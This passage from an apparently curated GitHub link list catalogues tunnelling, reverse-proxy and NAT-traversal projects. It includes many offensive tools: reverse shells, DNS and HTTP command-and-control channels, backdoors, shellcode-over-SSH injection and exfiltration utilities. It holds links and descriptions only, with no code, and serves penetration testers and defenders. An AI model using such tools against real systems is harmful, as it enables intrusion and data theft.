- [**14**星][5d] [Assembly] [sopium/titun](https://github.com/sopium/titun) Simple, fast, and cross-platform IP tunnel written in Rust. WireGuard compatible.
- [**13**星][3y] [Ruby] [lnussbaum/tuns](https://github.com/lnussbaum/tuns) IP over DNS tunnel
- [**13**星][1y] [Go] [llkat/rsockstun](https://github.com/llkat/rsockstun) reverse socks tunneler with ntlm and proxy support
- [**12**星][2y] [C] [massar/sixxsd](https://github.com/massar/sixxsd) sixxsd - The SixXS Daemon - IPv6 Tunnel & Routing Engine
- [**12**星][3m] [Go] [movsb/taosocks](https://github.com/movsb/taosocks) A smart tunnel proxy that helps you bypass firewalls.
- [**11**星][30d] [Go] [potato-industries/gohide](https://github.com/potato-industries/gohide) tunnel port to port traffic over an obfuscated channel with AES-GCM encryption.
- [**8**星][1y] [Shell] [raffaelespazzoli/openshift-sdn-encrypted-tunnel](https://github.com/raffaelespazzoli/openshift-sdn-encrypted-tunnel)
- [**6**星][3y] [Py] [lockout/tun64](https://github.com/lockout/tun64) IPv6 transition tunnel-based mechanism information exfiltration tool
- [**6**星][4y] [Py] [shadejinx/tunviz](https://github.com/shadejinx/tunviz) DNS Tunnel Detection
- [**6**星][4y] [Lua] [takeshixx/ip-https-tools](https://github.com/takeshixx/ip-https-tools) Tools for the IP over HTTPS (IP-HTTPS) Tunneling Protocol
- [**2**星][1y] [Py] [ciscose/ngrok-spark-startup-helper](https://github.com/ciscose/ngrok-spark-startup-helper) Helps with ngrok tunnel management when developing Cisco WebEx Teams Bots
- [**1**星][2y] [Py] [0x00-0x00/proxypwn](https://github.com/0x00-0x00/proxypwn) ProxyPwn is a scanner and tunneler for open proxies.
- [**1**星][4m] [Ruby] [simp/pupmod-simp-stunnel](https://github.com/simp/pupmod-simp-stunnel) The SIMP stunnel Puppet Module
### <a id="e9f97504fbd14c8bb4154bd0680e9e62"></a>反向代理
- [**17711**星][4y] [Go] [inconshreveable/ngrok](https://github.com/inconshreveable/ngrok) 反向代理，在公网终端和本地服务之间创建安全的隧道
- [**9561**星][5d] [Go] [cnlh/nps](https://github.com/cnlh/nps) 一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。
- [**4896**星][11m] [Go] [bitly/oauth2_proxy](https://github.com/bitly/oauth2_proxy) 反向代理，静态文件服务器，提供Providers(Google/Github)认证
- [**3647**星][2m] [Java] [ffay/lanproxy](https://github.com/ffay/lanproxy) 将局域网个人电脑、服务器代理到公网的内网穿透工具，支持tcp流量转发，可支持任何tcp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面...）
- [**2599**星][11d] [C++] [fanout/pushpin](https://github.com/fanout/pushpin) 使用C ++编写的反向代理服务器，可以轻松实现WebSocket，HTTP流和HTTP长轮询服务
- [**2562**星][1m] [Go] [drk1wi/modlishka](https://github.com/drk1wi/modlishka) 一个强大而灵活的HTTP反向代理
- [**1894**星][1y] [Py] [aploium/zmirror](https://github.com/aploium/zmirror) 一个Python反向HTTP代理程序, 用于快速、简单地创建别的网站的镜像, 自带本地文件缓存、CDN支持
- [**1190**星][5d] [Go] [pusher/oauth2_proxy](https://github.com/pusher/oauth2_proxy) 提供与Google，Github或其他提供商进行身份验证的反向代理。
- [**986**星][1m] [JS] [lukechilds/reverse-shell](https://github.com/lukechilds/reverse-shell) 容易记忆的反向shell，可在大多数类Unix系统上使用
- [**821**星][7y] [C] [inquisb/icmpsh](https://github.com/inquisb/icmpsh) 一个简单的反向ICMP Shell，兼容Win32 slave和POSIX，C、Perl、Python
- [**783**星][t] [C#] [damianh/proxykit](https://github.com/damianh/proxykit) 创建以代码优先的HTTP反向代理，作为中间件托管在ASP.NET Core中
- [**665**星][5m] [Py] [aploium/shootback](https://github.com/aploium/shootback) 反向TCP隧道，访问NAT或防火墙后面的目标
- [**471**星][1m] [JS] [siujoeng-lau/workers-proxy](https://github.com/siujoeng-lau/workers-proxy) 一个轻量级的Javascript应用程序，从其他服务器检索资源
- [**388**星][2y] [Py] [mricon/rev-proxy-grapher](https://github.com/mricon/rev-proxy-grapher) 生成反向代理流程graphviz图
- [**388**星][1y] [Go] [mwitkow/grpc-proxy](https://github.com/mwitkow/grpc-proxy) 一个Go反向代理，以最小的开销对gRPC调用，支持丰富路由
- [**365**星][4y] [Py] [ahhh/reverse_dns_shell](https://github.com/ahhh/reverse_dns_shell) 使用DNS作为c2通道的python反向shell
- [**346**星][3y] [Py] [nccgroup/abptts](https://github.com/nccgroup/abptts) 使用Python客户端脚本和Web应用程序服务器页面/程序包，通过HTTP / HTTPS连接，将TCP通信通过隧道，传输到Web应用程序服务器
- [**331**星][5m] [Go] [sysdream/hershell](https://github.com/sysdream/hershell) Go 语言编写的反向 Shell
- [**287**星][1y] [Py] [klsecservices/rpivot](https://github.com/klsecservices/rpivot) 通过Socks4将网络流量隧道到内部网络
- [**285**星][3y] [Go] [longxboy/lunnel](https://github.com/longxboy/lunnel) 简单易用的内网NAT穿越、反向代理软件
- [**255**星][5m] [Go] [lesnuages/hershell](https://github.com/lesnuages/hershell) 用Go编写的简单TCP反向Shell
- [**251**星][5m] [Shell] [thesecondsun/revssl](https://github.com/thesecondsun/revssl) 自动生成OpenSSL反向shell的简单脚本
- [**224**星][1y] [Go] [koding/websocketproxy](https://github.com/koding/websocketproxy) WebSocket reverse proxy handler for Go
- [**189**星][3y] [Nginx] [awslabs/ecs-nginx-reverse-proxy](https://github.com/awslabs/ecs-nginx-reverse-proxy) Reference architecture for deploying Nginx on ECS, both as a basic static resource server, and as a reverse proxy in front of a dynamic application server.
- [**175**星][2m] [Shell] [duy13/vddos-protection](https://github.com/duy13/vddos-protection) Welcome to vDDoS, a HTTP(S) DDoS Protection Reverse Proxy. Thank you for using!
- [**157**星][3y] [Ruby] [waterlink/rack-reverse-proxy](https://github.com/waterlink/rack-reverse-proxy) A Reverse Proxy for Rack
- [**146**星][2m] [Py] [chrispetrou/hrshell](https://github.com/chrispetrou/hrshell) HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.
- [**143**星][1y] [Shell] [adi90x/rancher-active-proxy](https://github.com/adi90x/rancher-active-proxy) All in one active reverse proxy for Rancher !
- [**136**星][24d] [PS] [antoniococo/conptyshell](https://github.com/antoniococo/conptyshell) ConPtyShell - Fully Interactive Reverse Shell for Windows
- [**128**星][3m] [grrrdog/weird_proxies](https://github.com/grrrdog/weird_proxies) Reverse proxies cheatsheet
- [**124**星][4m] [Go] [stalkr/dns-reverse-proxy](https://github.com/stalkr/dns-reverse-proxy) DNS Reverse Proxy
- [**118**星][3y] [PHP] [dhayalanb/windows-php-reverse-shell](https://github.com/dhayalanb/windows-php-reverse-shell) Simple php reverse shell implemented using binary .
- [**113**星][17d] [Java] [mkopylec/charon-spring-boot-starter](https://github.com/mkopylec/charon-spring-boot-starter) Reverse proxy implementation in form of a Spring Boot starter.
- [**107**星][3d] [Go] [jetstack/kube-oidc-proxy](https://github.com/jetstack/kube-oidc-proxy) Reverse proxy to authenticate to managed Kubernetes API servers via OIDC.
- [**105**星][4y] [Shell] [cornerpirate/socat-shell](https://github.com/cornerpirate/socat-shell) Socat can be used to establish a reverse shell with bash tab completion and full shell functionality
- [**104**星][2y] [Ruby] [axsuul/rails-reverse-proxy](https://github.com/axsuul/rails-reverse-proxy) A reverse proxy for Ruby on Rails
- [**100**星][1y] [Go] [bechurch/reverse-proxy-demo](https://github.com/bechurch/reverse-proxy-demo)
- [**83**星][2y] [Go] [asciimoo/filtron](https://github.com/asciimoo/filtron) 反向HTTP代码
- [**73**星][7m] [Go] [audibleblink/letsproxy](https://github.com/audibleblink/letsproxy) Quickly fetch Let's Encrypt certs and serve a reverse proxy
- [**60**星][4y] [Py] [dotcppfile/serbot](https://github.com/dotcppfile/serbot) Advanced Controller/Server/Client Reverse Shell/Bot – Windows/Linux – Python
- [**53**星][3y] [Shell] [mempodippy/snodew](https://github.com/mempodippy/snodew) PHP root (suid) reverse shell
- [**49**星][14d] [Elixir] [tallarium/reverse_proxy_plug](https://github.com/tallarium/reverse_proxy_plug)
- [**45**星][8m] [Dockerfile] [jmg87/redteam-k8spwn](https://github.com/jmg87/redteam-k8spwn) Reverse shell container for k8s deployments
- [**44**星][12m] [C#] [andychiare/netcore2-reverse-proxy](https://github.com/andychiare/netcore2-reverse-proxy) An example of how to implement a reverse proxy in .NET Core 2
- [**42**星][4m] [Py] [4n4nk3/tinkerershell](https://github.com/4n4nk3/tinkerershell) A simple python reverse shell written just for fun.
- [**42**星][2y] [Shell] [taherio/redi](https://github.com/taherio/redi) Automated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt)
- [**40**星][9m] [C#] [azure/reverse-proxy-dotnet](https://github.com/azure/reverse-proxy-dotnet) Reverse Proxy agent
- [**39**星][2y] [Go] [googlecloudplatform/stackdriver-reverse-proxy](https://github.com/googlecloudplatform/stackdriver-reverse-proxy) Simple HTTP proxy to automatically traces the incoming requests
- [**38**星][4y] [Assembly] [sh3llc0d3r1337/windows_reverse_shell_1](https://github.com/sh3llc0d3r1337/windows_reverse_shell_1) Windows Reverse Shell shellcode
- [**34**星][1y] [JS] [franciscoknebel/nginx-reverseproxy](https://github.com/franciscoknebel/nginx-reverseproxy) A simple implementation of a multidomain nginx reverse proxy, using Node apps.
- [**33**星][7m] [flyfishsec/rsgen](https://github.com/flyfishsec/rsgen) An Universal Reverse Shell Command Genrator.
- [**29**星][4y] [PS] [ahhh/wifi_trojans](https://github.com/ahhh/wifi_trojans) A collection of wireless based bind and reverse connect shells for penetration testers to use in demonstrating persistence to a network via rouge access points.
- [**27**星][10m] [Rust] [felipenoris/hyper-reverse-proxy](https://github.com/felipenoris/hyper-reverse-proxy) A simple reverse proxy for use with Hyper and Tokio
- [**23**星][2y] [C] [p4p1/p4p1](https://github.com/p4p1/p4p1) Reverse shell for remote administration
- [**22**星][4d] [TS] [cedx/reverse-proxy.js](https://github.com/cedx/reverse-proxy.js) Personal reverse proxy server supporting WebSockets.
- [**5**星][7m] [PS] [audibleblink/gorsh](https://github.com/audibleblink/gorsh) A Golang Reverse Shell w/ a Tmux-driven psuedo-C2 Interface
### <a id="9d6789f22a280f5bb6491d1353b02384"></a>隧道&&穿透
- [**4690**星][4d] [Go] [ginuerzh/gost](https://github.com/ginuerzh/gost) GO语言实现的安全隧道
- [**3465**星][5m] [Go] [jpillora/chisel](https://github.com/jpillora/chisel) 基于HTTP的快速 TCP 隧道
- [**3359**星][5m] [C++] [wangyu-/udp2raw-tunnel](https://github.com/wangyu-/udp2raw-tunnel) udp 打洞。通过raw socket给UDP包加上TCP或ICMP header，进而绕过UDP屏蔽或QoS，或在UDP不稳定的环境下提升稳定性
- [**3227**星][4m] [C] [yarrick/iodine](https://github.com/yarrick/iodine) 通过DNS服务器传输(tunnel)IPV4数据
- [**2862**星][9m] [C++] [wangyu-/udpspeeder](https://github.com/wangyu-/udpspeeder) A Tunnel which Improves your Network Quality on a High-latency Lossy Link by using Forward Error Correction,for All Traffics(TCP/UDP/ICMP)
- [**2509**星][3y] [C] [dhavalkapil/icmptunnel](https://github.com/dhavalkapil/icmptunnel) Transparently tunnel your IP traffic through ICMP echo and reply packets.
- [**2180**星][2m] [Go] [mmatczuk/go-http-tunnel](https://github.com/mmatczuk/go-http-tunnel) Fast and secure tunnels over HTTP/2
- [**1826**星][6m] [C++] [iagox86/dnscat2](https://github.com/iagox86/dnscat2) 在 DNS 协议上创建加密的 C&C channel
- [**1741**星][2y] [Go] [vzex/dog-tunnel](https://github.com/vzex/dog-tunnel) p2p tunnel,(udp mode work with kcp,
- [**1480**星][6y] [C] [alibaba/lvs](https://github.com/alibaba/lvs) A distribution of Linux Virtual Server with some advanced features. It introduces a new packet forwarding method - FULLNAT other than NAT/Tunneling/DirectRouting, and defense mechanism against synflooding attack - SYNPROXY.
- [**1345**星][2m] [Go] [davrodpin/mole](https://github.com/davrodpin/mole) cli app to create ssh tunnels
- [**1192**星][3y] [Roff] [matiasinsaurralde/facebook-tunnel](https://github.com/matiasinsaurralde/facebook-tunnel) Tunneling Internet traffic over Facebook chat.
- [**928**星][1m] [Go] [square/ghostunnel](https://github.com/square/ghostunnel) A simple SSL/TLS proxy with mutual authentication for securing non-TLS services
- [**809**星][4m] [Py] [secforce/tunna](https://github.com/secforce/tunna) Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments.
- [**682**星][15d] [JS] [sadeghhayeri/greentunnel](https://github.com/sadeghhayeri/greentunnel) Green Tunnel is an anti-censorship utility designed to bypass DPI system that are put in place by various ISPs to block access to certain websites.
- [**626**星][6d] [Go] [antoniomika/sish](https://github.com/antoniomika/sish) An open source serveo/ngrok alternative. HTTP(S)/WS(S)/TCP Tunnels to localhost using only SSH.
- [**621**星][5m] [JS] [derhuerst/tcp-over-websockets](https://github.com/derhuerst/tcp-over-websockets) Tunnel TCP through WebSockets.
- [**601**星][3d] [Go] [cloudflare/cloudflared](https://github.com/cloudflare/cloudflared) Argo Tunnel client
- [**596**星][19d] [Py] [trustedsec/trevorc2](https://github.com/trustedsec/trevorc2) 通过正常的可浏览的网站隐藏 C&C 指令的客户端/服务器模型，因为时间间隔不同，检测变得更加困难，并且获取主机数据时不会使用 POST 请求
- [**592**星][3m] [Py] [pahaz/sshtunnel](https://github.com/pahaz/sshtunnel) SSH tunnels to remote server.
- [**560**星][1y] [Go] [cw1997/natbypass](https://github.com/cw1997/natbypass) 内网穿透，端口转发工具
- [**486**星][5d] [Go] [psiphon-labs/psiphon-tunnel-core](https://github.com/psiphon-labs/psiphon-tunnel-core) Psiphon client and server components implemented in Go. These components provides core tunnel functionality, handling all aspects of evading blocking and relaying traffic through Psiphon.
- [**465**星][3y] [Py] [trustedsec/meterssh](https://github.com/trustedsec/meterssh) MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then conne…
- [**403**星][10m] [Go] [evilsocket/shellz](https://github.com/evilsocket/shellz) shellz is a small utility to track and control your ssh, telnet, web and custom shells and tunnels.
- [**401**星][3m] [C] [liudf0716/xkcptun](https://github.com/liudf0716/xkcptun) xkcptun is kcp tunnel for OpenWRT&LEDE, implemented in c language
- [**385**星][1y] [Ruby] [aphyr/tund](https://github.com/aphyr/tund) SSH reverse tunnel daemon
- [**375**星][3y] [Go] [q3k/crowbar](https://github.com/q3k/crowbar) Tunnel TCP over a plain HTTP session (warning: mediocre Go code)
- [**357**星][1y] [C] [emptymonkey/revsh](https://github.com/emptymonkey/revsh) A reverse shell with terminal support, data tunneling, and advanced pivoting capabilities.
- [**334**星][10m] [JS] [mhzed/wstunnel](https://github.com/mhzed/wstunnel) tunnel over websocket
- [**327**星][3y] [JS] [qgy18/pangolin](https://github.com/qgy18/pangolin) A light weight http tunnels to localhost.
- [**327**星][18d] [C#] [tmoonlight/nsmartproxy](https://github.com/tmoonlight/nsmartproxy) 内网穿透工具。采用.NET CORE的全异步模式打造
- [**326**星][2m] [C] [xelerance/xl2tpd](https://github.com/xelerance/xl2tpd) an implementation of the Layer 2 Tunnelling Protocol (RFC 2661)
- [**317**星][3y] [C++] [pipesocks/pipesocks](https://github.com/pipesocks/pipesocks) A pipe-like SOCKS5 tunnel system.
- [**303**星][9m] [C++] [wangyu-/udp2raw-multiplatform](https://github.com/wangyu-/udp2raw-multiplatform) multi-platform(cross-platform) version of udp2raw-tunnel, which supports Windows/Mac/BSD natively
- [**298**星][9m] [C] [basil00/reqrypt](https://github.com/basil00/reqrypt) HTTP 请求 tunneling 工具
- [**266**星][14d] [Py] [earthquake/xfltreat](https://github.com/earthquake/xfltreat) XFLTReaT tunnelling framework
- [**265**星][4m] [Go] [skx/tunneller](https://github.com/skx/tunneller) Allow internal services, running on localhost, to be accessed over the internet..
- [**249**星][3y] [C] [jamesbarlow/icmptunnel](https://github.com/jamesbarlow/icmptunnel) Tunnel IP over ICMP.
- [**244**星][10m] [C] [pegasuslab/ghosttunnel](https://github.com/PegasusLab/GhostTunnel) GhostTunnel is a covert backdoor transmission method that can be used in an isolated environment.
- [**233**星][2y] [C] [larsbrinkhoff/httptunnel](https://github.com/larsbrinkhoff/httptunnel) Bidirectional data stream tunnelled in HTTP requests.
- [**210**星][12m] [Go] [ooclab/otunnel](https://github.com/ooclab/otunnel) peer-to-peer tunnel tool
- [**197**星][18d] [Go] [esrrhs/pingtunnel](https://github.com/esrrhs/pingtunnel) a tool that advertises tcp/udp/sock5 traffic as icmp traffic for forwarding.流量转发工具.
- [**191**星][3y] [Go] [koding/tunnel](https://github.com/koding/tunnel) Tunnel proxy package in Go
- [**179**星][6m] [C#] [nettitude/sharpsocks](https://github.com/nettitude/sharpsocks) Tunnellable HTTP/HTTPS socks4a proxy written in C# and deployable via PowerShell
- [**170**星][1y] [C#] [eaglexiang/eagle.tunnel.dotnet.core](https://github.com/eaglexiang/eagle.tunnel.dotnet.core) 稳定易用的代理工具
- [**170**星][4d] [ObjC] [subito-it/sbtuitesttunnel](https://github.com/subito-it/sbtuitesttunnel) Enable network mocks and more in UI Tests
- [**169**星][9m] [Go] [mimah/gomet](https://github.com/mimah/gomet) Multi-platform agent written in Golang. TCP forwarding, socks5, tunneling, pivoting, shell, download, exec
- [**166**星][3y] [Haskell] [corsis/portfusion](https://github.com/corsis/portfusion) 跨平台传输层分布式反向/正向代理和隧道解决方案
- [**153**星][4y] [Go] [inconshreveable/go-tunnel](https://github.com/inconshreveable/go-tunnel) [DEPRECATED] Tunnel to localhost as a library
- [**132**星][14d] [Go] [inlets/inletsctl](https://github.com/inlets/inletsctl) Fast HTTP (L7) and TCP (L4) tunnels written in Go
- [**129**星][1y] [Py] [deepzec/grok-backdoor](https://github.com/deepzec/grok-backdoor) Simple python backdoor with Ngrok tunnel support
- [**119**星][12m] [CSS] [rootkiter/earthworm](https://github.com/rootkiter/earthworm) Tool for tunnel
- [**118**星][12m] [Shell] [patpadgett/corkscrew](https://github.com/patpadgett/corkscrew) Corkscrew is a tool for tunneling SSH through HTTP proxies.
- [**117**星][4y] [Go] [tutumcloud/ngrok](https://github.com/tutumcloud/ngrok) Introspected tunnels to localhost
- [**115**星][3m] [Go] [eaglexiang/eagle.tunnel.go](https://github.com/eaglexiang/eagle.tunnel.go) 稳定的代理工具，比.NET版本更轻量和易用
- [**115**星][3m] [PS] [jcqsteven/ghosttunnel](https://github.com/jcqsteven/ghosttunnel) 基于360提出的Ghost Tunnel攻击复现
- [**113**星][8m] [C] [jakkarth/icmptx](https://github.com/jakkarth/icmptx) IP-over-ICMP tunnel
- [**106**星][3y] [C] [greensea/mptunnel](https://github.com/greensea/mptunnel) MPUDP Tunnel (User space MultiPath UDP)
- [**104**星][2y] [Java] [ggrandes/bouncer](https://github.com/ggrandes/bouncer) Bouncer is a network TCP port redirector/forward proxy (like rinetd) with extra features like Reverse tunneling (like ssh -R), SSL tunneling (like stunnel), connection Failover, LoadBalancing and Clustering. In pure Java (BIO)
- [**100**星][10m] [Go] [superfly/wormhole](https://github.com/superfly/wormhole) Fly.io secure tunnel
- [**97**星][10m] [Shell] [sskaje/6in4](https://github.com/sskaje/6in4) IPv6-in-IPv4 Tunnel Server
- [**94**星][4y] [JS] [ro31337/hacktunnel](https://github.com/ro31337/hacktunnel) HackTunnel is web-based peer-to-peer chat software for anonymous and encrypted communication written with Go language
- [**94**星][6y] [C++] [stealth/fraud-bridge](https://github.com/stealth/fraud-bridge) ICMP and DNS tunneling via IPv4 and IPv6
- [**93**星][1y] [Go] [tarlogicsecurity/sasshimi](https://github.com/tarlogicsecurity/sasshimi) SSH Tunnelling in "RAW mode", via STDIN/OUT without using forwarding channels
- [**90**星][4y] [JS] [adafruit/adafruit-io-node](https://github.com/adafruit/adafruit-io-node) A Node.js Adafruit IO Node.js Client, Local Server, & io.adafruit.com TLS Tunnel.
- [**83**星][5y] [C] [chokepoint/crypthook](https://github.com/chokepoint/crypthook) TCP/UDP symmetric encryption tunnel wrapper
- [**83**星][2y] [Makefile] [kingsquare/docker-tunnel](https://github.com/kingsquare/docker-tunnel) a (simple) dockerized ssh tunnel
- [**81**星][1y] [Java] [googlecreativelab/tunnelvision](https://github.com/googlecreativelab/tunnelvision) Distort your surroundings through a collection of transformative filters
- [**79**星][1y] [Py] [cdhowie/netflix-no-ipv6-dns-proxy](https://github.com/cdhowie/netflix-no-ipv6-dns-proxy) Fix for Netflix blocking various IPv6 tunnels by returning no results for AAAA queries of Netflix domains
- [**77**星][5y] [C] [bishopfox/firecat](https://github.com/bishopfox/firecat) Firecat is a penetration testing tool that allows you to punch reverse TCP tunnels out of a compromised network.
- [**69**星][3y] [Nginx] [localtunnel/nginx](https://github.com/localtunnel/nginx) nginx container used as the localtunnel load balancer
- [**68**星][2y] [Go] [lubyruffy/tcptunnel](https://github.com/lubyruffy/tcptunnel) 将本地内网服务器映射到公网。
- [**68**星][3m] [Java] [netspi/burpcollaboratordnstunnel](https://github.com/netspi/burpcollaboratordnstunnel) A DNS tunnel utilizing the Burp Collaborator
- [**68**星][3d] [C#] [sailro/bdtunnel](https://github.com/sailro/bdtunnel) BoutDuTunnel is able to create virtual connections tunnelled in HTTP requests.
- [**67**星][1y] [C++] [oyyd/nysocks](https://github.com/oyyd/nysocks) Nysocks binds kcp and libuv to provide an aggressive tcp tunnel in nodejs.
- [**66**星][8m] [C] [v-e-o/rdp2tcp](https://github.com/v-e-o/rdp2tcp) rdp2tcp: open tcp tunnel through remote desktop connection.
- [**65**星][2m] [JS] [snail007/anytunnel](https://github.com/snail007/anytunnel) 内网穿透，内网穿透代理服务器，商用内网穿透代理系统，内网穿透平台，内网穿透多用户会员系统。
- [**64**星][9m] [Go] [dsnezhkov/sshorty](https://github.com/dsnezhkov/sshorty) A progressive, customizable armored SSH tunnel implant for Linux and MacOS systems
- [**64**星][8m] [Go] [smithclay/faassh](https://github.com/smithclay/faassh) simple go SSH server with reverse tunneling designed for running in cloud functions like AWS lambda
- [**61**星][2y] [C] [convisoappsec/firefox_tunnel](https://github.com/convisoappsec/firefox_tunnel) 使用Firefox来建立远程通信隧道, 使用cookie.sqlite/html/js实现payload上传下载
- [**60**星][17d] [C] [lnslbrty/ptunnel-ng](https://github.com/lnslbrty/ptunnel-ng) Tunnel TCP connections through ICMP.
- [**59**星][7m] [JS] [mdslab/wstun](https://github.com/mdslab/wstun) Tunnels and reverse tunnels over WebSocket
- [**58**星][3y] [Py] [epinna/stegosip](https://github.com/epinna/stegosip) TCP tunnel over RTP/SIP
- [**57**星][4y] [Py] [t3rry7f/badtunnel_exp](https://github.com/t3rry7f/badtunnel_exp) Usage: python badtunnel.py wpad_server_ip
- [**49**星][2y] [C] [coolervoid/firefox_tunnel](https://github.com/coolervoid/firefox_tunnel) The way to use firefox to make a tunnel to remote communication, bypass any firewall
- [**49**星][9d] [Go] [sandertv/gophertunnel](https://github.com/sandertv/gophertunnel) A Minecraft (Bedrock Edition) library written in Go used for creating proxies, servers, clients and tools
- [**48**星][3m] [Go] [rancher/remotedialer](https://github.com/rancher/remotedialer) HTTP in TCP in Websockets in HTTP in TCP, Tunnel all the things!
- [**46**星][7m] [Go] [ice-ice/dnstunnel](https://github.com/ice-ice/dnstunnel) dns tunnel backdoor DNS隧道后门
- [**43**星][8m] [Py] [jmagnusson/bgtunnel](https://github.com/jmagnusson/bgtunnel) Initiate SSH tunnels in the background in python
- [**43**星][3y] [Go] [madeye/obfs4-tunnel](https://github.com/madeye/obfs4-tunnel) obfs4 tunnel
- [**42**星][7m] [Go] [aschzero/hera](https://github.com/aschzero/hera) Automated secure tunnels for containers using Cloudflare Argo
- [**40**星][7m] [Go] [function61/holepunch-client](https://github.com/function61/holepunch-client) Totally self-contained SSH reverse tunnel written in Go
- [**40**星][2m] [Go] [opencoff/go-tunnel](https://github.com/opencoff/go-tunnel) TLS/SSL Tunnel - A modern STunnel replacement written in golang
- [**39**星][2y] [Py] [bonelee/dns_tunnel_dectect_with_cnn](https://github.com/bonelee/dns_tunnel_dectect_with_cnn) dns tunnel dectect with CNN
- [**38**星][1y] [JS] [lmammino/webhook-tunnel](https://github.com/lmammino/webhook-tunnel) A little HTTP proxy suitable to create tunnels for webhook endpoints protected behind a firewall or a VPN
- [**38**星][2y] [Java] [quhw/xtunnel](https://github.com/quhw/xtunnel) An useful TCP/SSL tunnel utility.
- [**37**星][2y] [JS] [kevva/caw](https://github.com/kevva/caw) Construct HTTP/HTTPS agents for tunneling proxies
- [**32**星][3y] [Go] [mwitkow/go-http-dialer](https://github.com/mwitkow/go-http-dialer) Go net.Dialer for HTTP(S) CONNECT Tunneling.
- [**32**星][3y] [Go] [localtunnel/go-localtunnel](https://github.com/localtunnel/go-localtunnel) golang client library for localtunnel.me
- [**28**星][3y] [JS] [markelog/adit](https://github.com/markelog/adit) SSH tunnels – in any way you want it
- [**27**星][2y] [Go] [jsimonetti/tlstun](https://github.com/jsimonetti/tlstun) A socks tunnel client and server using websockets over http and tls
- [**27**星][11m] [C#] [kostapc/putty-tunnel-manager](https://github.com/kostapc/putty-tunnel-manager) Fixes and new release. PuTTY Tunnel Manager allows you to easily open tunnels, that are defined in a PuTTY session, from the system tray. You can also move the tunnels from PuTTY to PuTTY Tunnel Manager. This allows you to use PuTTY just for SSH shell sessions (without opening tunnels), and use PuTTY Tunnel Manager just for tunneling.
- [**26**星][4y] [Shell] [hrishioa/nomohead](https://github.com/hrishioa/nomohead) Simple Bash script that announces IP Address and ngrok tunnel of Raspberry Pi at boot
- [**26**星][6m] [CSS] [remmina/et-electron](https://github.com/remmina/et-electron) Eagle Tunnel 的图形化客户端，一个简单的代理工具
- [**26**星][7m] [Py] [rofl0r/nat-tunnel](https://github.com/rofl0r/nat-tunnel) NAT Tunnel: to effortlessly serve from behind NAT
- [**25**星][1y] [Go] [rsrdesarrollo/sasshimi](https://github.com/rsrdesarrollo/sasshimi) SSH Tunnelling in "RAW mode", via STDIN/OUT without using forwarding channels
- [**24**星][1y] [Go] [root-gg/wsp](https://github.com/root-gg/wsp) HTTP tunnel over Websocket
- [**23**星][2y] [Go] [gnolizuh/quictun](https://github.com/gnolizuh/quictun) The simplest tunnel service based on QUIC.
- [**23**星][4m] [Py] [jonathansalwan/x-tunnel-opaque-predicates](https://github.com/jonathansalwan/x-tunnel-opaque-predicates) IDA+Triton plugin in order to extract opaque predicates using a Forward-Bounded DSE. Example with X-Tunnel.
- [**21**星][2y] [Py] [krrr/wstan](https://github.com/krrr/wstan) Tunneling TCP in WebSocket (ssh -D alternative)
- [**20**星][2y] [C] [izuolan/pshell](https://github.com/izuolan/pshell) ICMP/IP tunnel manager for Linux.
- [**19**星][2m] [C++] [markopaul0/datagramtunneler](https://github.com/markopaul0/datagramtunneler) Simple C++ cross-platform client/server app forwarding UDP datagrams through a TCP connection.
- [**18**星][7m] [Go] [dsnet/sshtunnel](https://github.com/dsnet/sshtunnel) SSH daemon for creating forward and reverse tunnels.
- [**17**星][4y] [Py] [notsosecure/icmp_tunnel_ex_filtrate](https://github.com/notsosecure/icmp_tunnel_ex_filtrate) Code snippet accompanying blog post
- [**14**星][2m] [Py] [codepr/aiotunnel](https://github.com/codepr/aiotunnel) HTTP tunnel on top of aiohttp and asyncio
- [**14**星][2m] [Java] [testingbot/testingbot-tunnel](https://github.com/testingbot/testingbot-tunnel) Tunnel to run Cloud Selenium tests on your local computer
- [**8**星][1y] [C] [lalawue/m_tunnel](https://github.com/lalawue/m_tunnel) A Secure Tunnel with SOCKS5 Proxy Interface, support Linux/MacOS/FreeBSD/Windows
- [**8**星][1y] [C++] [mrdoulestar/yunsle_ghost_tunnel](https://github.com/mrdoulestar/yunsle_ghost_tunnel) 尝试实现一下Ghost Tunnel中的通信方式
- [**4**星][4y] [Haskell] [bearice/tunnel-manager](https://github.com/bearice/tunnel-manager) HTTP API to manage PPTP2HTTP tunnels
- [**4**星][2y] [JS] [bubuflystudio/bbtunnel](https://github.com/bubuflystudio/bbtunnel) 基于 socksv5 的内网穿透工具
- [**4**星][3y] [PHP] [cristianefe/mysqltunnel](https://github.com/cristianefe/mysqltunnel) A http MySQL remote tunnel
- [**3**星][4m] [C++] [osrdrivers/tunnel](https://github.com/osrdrivers/tunnel) Demonstrate the behavior of the tunnel cache on Windows
- [**2**星][4m] [Dockerfile] [robzhu/nginx-local-tunnel](https://github.com/robzhu/nginx-local-tunnel) A docker container that redirects incoming HTTP traffic to a local port for reverse SSH tunneling
- [**1**星][2y] [C++] [kkkkke/udp2raw-tunnel](https://github.com/kkkkke/udp2raw-tunnel) A Tunnel which Turns UDP Traffic into Encrypted UDP/FakeTCP/ICMP Traffic by using Raw Socket,helps you Bypass UDP FireWalls(or Unstable UDP Environment),Anti-Replay-Attack
- [**0**星][1y] [PS] [jerryma0912/ghosttunnel](https://github.com/jerryma0912/ghosttunnel) 基于360提出的Ghost Tunnel攻击复现
### <a id="8ea8f890cf767c3801b5e7951fca3570"></a>公网访问局域网
- [**31162**星][25d] [Go] [fatedier/frp](https://github.com/fatedier/frp) 快速的反向代理, 将NAT或防火墙之后的本地服务器暴露到公网
- [**9330**星][3m] [JS] [localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) expose yourself
- [**5047**星][7d] [Go] [inlets/inlets](https://github.com/inlets/inlets) Expose your local endpoints to the Internet
- [**1264**星][10d] [JS] [bubenshchykov/ngrok](https://github.com/bubenshchykov/ngrok) Expose your localhost to the web. Node wrapper for ngrok.
